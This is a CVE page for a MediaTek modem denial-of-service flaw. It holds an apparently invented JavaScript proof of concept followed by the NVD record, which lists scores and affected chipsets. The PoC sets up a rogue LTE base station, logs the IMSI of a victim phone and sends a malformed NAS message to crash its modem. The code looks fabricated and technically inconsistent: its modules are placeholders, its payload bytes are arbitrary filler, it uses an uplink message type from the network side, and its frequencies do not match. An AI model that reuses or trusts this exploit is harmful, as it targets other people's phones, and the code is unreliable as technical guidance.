CVE-2025-20757

// CVE-2025-20757 PoC - Rogue Base Station Attack // This PoC demonstrates the concept of triggering the vulnerability // Note: Actual exploitation requires SDR equipment and specialized tools const sdr = require('sdr-tools'); const lteStack = require('lte-stack'); // Configuration for rogue base station const rogueBTSConfig = { EARFCN: 1850, // Downlink frequency PCI: 123, // Physical Cell ID TAC: 1, // Tracking Area Code MCC: 460, // Mobile Country Code MNC: 0, // Mobile Network Code cellId: 0x0001 }; // Malformed message that triggers input validation issue // This is a simplified representation of the attack vector const malformedMessage = { msgType: 'ULInformationTransfer', // Intentionally malformed data to trigger validation failure nasPdu: Buffer.from([ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0xff, 0xfe, 0xfd, 0xfc, 0xfb, 0xfa ]), // Missing or invalid length fields invalidField: Buffer.alloc(256, 0xAB) }; async function initiateRogueBTS() { console.log('[+] Starting Rogue BTS for CVE-2025-20757'); console.log('[+] Configuring SDR device...'); // Initialize SDR device const sdrDevice = await sdr.open({ sampleRate: 15.36e6, frequency: 925e6, gain: 40 }); // Setup LTE cell const cell = await lteStack.createCell(rogueBTSConfig); // Wait for victim to attach console.log('[+] Waiting for victim UE attachment...'); const victimUE = await cell.waitForAttach({timeout: 60000}); console.log(`[+] Victim attached: ${victimUE.imsi}`); // Send malformed message to trigger vulnerability console.log('[+] Sending malformed NAS message...'); await victimUE.send(malformedMessage); console.log('[+] Message sent. Monitoring for crash...'); // Verify crash occurred setTimeout(async () => { const status = await victimUE.getStatus(); if (status.deregistered) { console.log('[+] VULNERABILITY CONFIRMED: UE crashed'); } }, 5000); } // Cleanup function process.on('SIGINT', async () => { console.log('\n[!] Shutting down Rogue BTS...'); await sdr.close(); process.exit(0); }); initiateRogueBTS().catch(console.error); // Requirements: // - GNU Radio with gr-lte or similar SDR framework // - USRP or other compatible SDR hardware // - OpenAirInterface or srsLTE for LTE stack // - Legal authorization for testing // Note: This PoC is for educational and authorized testing purposes only

{"cve": {"id": "CVE-2025-20757", "sourceIdentifier": "[email protected]", "published": "2025-12-02T03:16:17.050", "lastModified": "2026-02-17T15:16:16.777", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Modem, there is a possible system crash due to improper input validation. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01673751; Issue ID: MSV-4644."}, {"lang": "es", "value": "En el Módem, existe una posible caída del sistema debido a una validación de entrada incorrecta. Esto podría llevar a una denegación de servicio remota, si un UE se ha conectado a una estación base maliciosa controlada por el atacante, sin necesidad de privilegios de ejecución adicionales. La interacción del usuario no es necesaria para la explotación. ID del parche: MOLY01673751; ID del problema: MSV-4644."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-617"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:nr15:-:*:*:*:*:*:*:*", "matchCriteriaId": "E30A2D2E-6A72-4070-A471-EEE75F7D07F2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt2735:-:*:*:*:*:*:*:*", "matchCriteriaId": "7F1D09FC-5BE9-4B23-82F1-3C6EAC5711A6"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6833:-:*:*:*:*:*:*:*", "matchCriteriaId": "9814939B-F05E-4870-90C0-7C0F6BAAEB39"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6833p:-:*:*:*:*:*:*:*", "matchCriteriaId": "CB690F5A-9367-45D3-A53E-80BF60053630"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6853:-:*:*:*:*:*:*:*", "matchCriteriaId": "366F1912-756B-443E-9962-224937DD7DFB"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6853t:-:*:*:*:*:*:*:*", "matchCriteriaId": "328DA6BE-1303-4646-89B7-2EC8DC444532"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6855:-:*:*:*:*:*:*:*", "matchCriteriaId": "89AFEE24-7AAD-4EDB-8C3E-EDBA3240730A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6855t:-:*:*:*:*:*:*:*", "matchCriteriaId": "083F6134-FF26-4F1B-9B77-971D342AF774"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6873:-:*:*:*:*:*:*:*", "matchCriteriaId": "F6B8A36E-C5FB-44AE-A1C3-50EBF4C68F6B"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6875:-:*:*:*:*:*:*:*", "matchCriteriaId": "80BDC5EC-E822-4BC7-8C0D-E8AD8396E8FE"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6875t:-:*:*:*:*:*:*:*", "matchCriteriaId": "F883C6D3-1724-4553-9EFC-3D204FF3CAA3"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877:-:*:*:*:*:*:*:*", "matchCriteriaId": "7CA9352F-E9BD-4656-9B7C-4AFEE2C78E58"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877t:-:*:*:*:*:*:*:*", "matchCriteriaId": "EFA54AA1-4E3A-44F8-A222-31C60F8F81DA"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877tt:-:*:*:*:*:*:*:*", "matchCriteriaId": "5D4D6885-E18C-477F-8B6D-B9E84D9535E2"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6880:-:*:*:*:*:*:*:*", "matchCriteriaId": "68CF4A7A-3136-4C4C-A795-81323896BE11"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6883:-:*:*:*:*:*:*:*", "matchCriteriaId": "15E2EC3F-9FB3-488B-B1C1-2793A416C755"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6885:-:*:*:*:*:*:*:*", "matchCriteriaId": "DD64413C-C774-4C4F-9551-89E1AA9469EE"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6889:-:*:*:*:*:*:*:*", "matchCriteriaId": "3B787DC3-8E5A-4968-B20B-37B6257FAAE2"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6891:-:*:*:*:*:*:*:*", "matchCriteriaId": "D8E91CA4-CA5B-40D1-9A96-2B875104BCF4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6893:-:*:*:*:*:*:*:*", "matchCriteriaId": "213B5C7F-D965-4312-9CDF-4F06FA77D401"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8675:-:*:*:*:*:*:*:*", "matchCriteriaId": "03E6123A-7603-4EAB-AFFB-229E8A040709"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8771:-:*:*:*:*:*:*:*", "matchCriteriaId": "0D09F23D-D023- ... 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